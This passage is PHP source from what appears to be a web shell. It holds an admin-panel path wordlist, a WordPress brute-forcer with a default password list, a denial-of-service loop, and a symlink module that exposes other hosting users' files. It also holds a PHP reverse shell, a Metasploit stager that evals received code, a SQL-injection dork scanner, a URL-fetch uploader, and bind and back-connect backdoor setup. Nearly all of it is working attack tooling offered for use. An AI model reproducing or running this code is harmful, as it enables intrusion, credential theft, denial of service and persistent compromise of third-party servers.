administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
ADMIN/login.php
panelc/
ADMIN/login.html";
function template() {
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
if($br == 1) $msg .= "<br />";
echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
if($stop == 1) exit;
@flush();@ob_flush();
}
function check($x, $front=0) {
global $_POST,$site,$false;
if($front == 0) $t = $site.$x;
else $t = 'http://'.$x.'.'.$site.'/';
$headers = get_headers($t);
if (!eregi('200', $headers[0])) return 0;
$data = @file_get_contents($t);
if($_POST['xploit_404string'] == "") if($data == $false) return 0;
if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("
", "", $list['end']);
$list['front'] = str_replace("
", "", $list['front']);
$pathes = explode("
", $list['end']);
$frontpathes = explode("
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
$verificate++; show($verificate, 0, 0, 'verified', 1);
if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
else{
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
}
}
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";} ?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if($_POST)
{
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';
if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
$login = curl_exec($ch);
if(eregi ("profile.php",$login) )
{
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();flush();break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, '/', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, '/', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<?php
echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
if($_GET['urldd0'] && $_GET['timedd0']){
for ($id=0;$$id<$_GET['timedd0'];$id++){
$fp=null;
$contents=null;
$fp=fopen($_GET['urldd0'],"rb");
while (!feof($fp)) {
$contents .= fread($fp, 8192);
}
fclose($fp);
}}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<center><br><br><font size="5" color="#00ff00"><b>"Bangkitlah karena kritikan dan majulah karena saran"</b></font>
<br><br><font size="5" color="#00ff00">Tanks to:</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#00ff00">=[ teman-temanku ]=<br><br>Gabby<br>Antonio HSH<br>R10<br>w4r0x<br>edelle007<br>Brian kamikaze<br>Clover Lepex<br>
Uyap<br>
Zinbad<br>
Sani marpic<br>
Madan Cyber<br>
Cah Bagus<br>
RPG<br>Vallent<br>
P4njie_a.k.a<br>
Dwi Syntia<br>
�rul Ringgo's<br>
Ti'ar Variabel<br>
Imei7<br>
Hmei7<br>
De Vinclous<br>
Blankon33<br>
Doza Cracker<br>
Ying Cracker<br>
Iranian Hacker<br>
Danger Hacker<br>
Admin07<br>
Zhou you<br>
Ksatria.us<br>
Cyber Inj3cti0n<br>
K2ll33d<br>
Sultan Haikal<br>
Syntax_Error<br>
Aqis<br>
Black Shadow<br>
crack999<br>
Fnatic Crew<br>
Coretan Rizal<br>
Malaikat Maut<br>
Dan teman-teman ku semua<br><br>
=[ grup hacking ]=<br><br>
Black Newbie Team<br>
3xpire Cyber Army<br>
Hack Forum<br>
Indonesia Fighter Cyber<br>
Biang Kerox Team<br>
Anonymous<br>Gaza Hacker<br>Albanian Hacker<br>Devilz c0de<br>Muslims Cyber Shellz<br>
X-Code<br>
Indonesian Security<br>
Indonesia Black Cyber<br>
B-Compi<br>
Jasakom<br>
Mojopahit Fighter Cyber<br>
Lappis<br>
Mojopahit Cyber Dark<br>
Crack Hack Forum<br>
dan semua grup hacking<br>
yang<br>
saya naungi dan singgahi<br><br><br>By X'1n73ct<br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00ff00;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00ff00;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
